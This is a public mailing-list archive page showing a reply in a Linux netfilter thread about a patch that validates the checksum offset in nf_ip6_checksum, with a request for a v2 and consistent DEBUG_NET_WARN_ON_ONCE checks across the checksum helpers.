> DEBUG_NET_WARN_ON_ONCE?
Yes, I think this should get a v2, targetting nf-next. It would also be
good to be consistent here: We have multiple interfaces:
nf_ip6_checksum, nf_checksum_partial, nf_ip6_checksum_partialm, nf_ip_checksum, ...
So I think there should be consistency there too, either none should
have checks or all of them should have DEBUG_NET_WARN_ON_ONCE() +
return where applicable.
^ permalink raw reply [flat|nested] 10+ messages in thread
end of thread, other threads:[~2026-10-09 0:05 UTC | newest]
Thread overview: 10+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-18 9:26 [PATCH nf 0/1] netfilter: nf_ip6_checksum: validate checksum offset Ren Wei
2026-09-18 9:26 ` [PATCH nf 1/1] " Ren Wei
2026-09-18 10:38 ` [PATCH nf 0/1] " Florian Westphal
2026-09-18 11:33 ` Pablo Neira Ayuso
2026-09-18 14:15 ` Florian Westphal
2026-09-19 14:35 ` Zixuan Chai
2026-10-08 16:01 ` Zixuan Chai
2026-10-08 17:24 ` Florian Westphal
2026-10-08 23:29 ` Pablo Neira Ayuso
2026-10-09 0:05 ` Florian Westphal
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).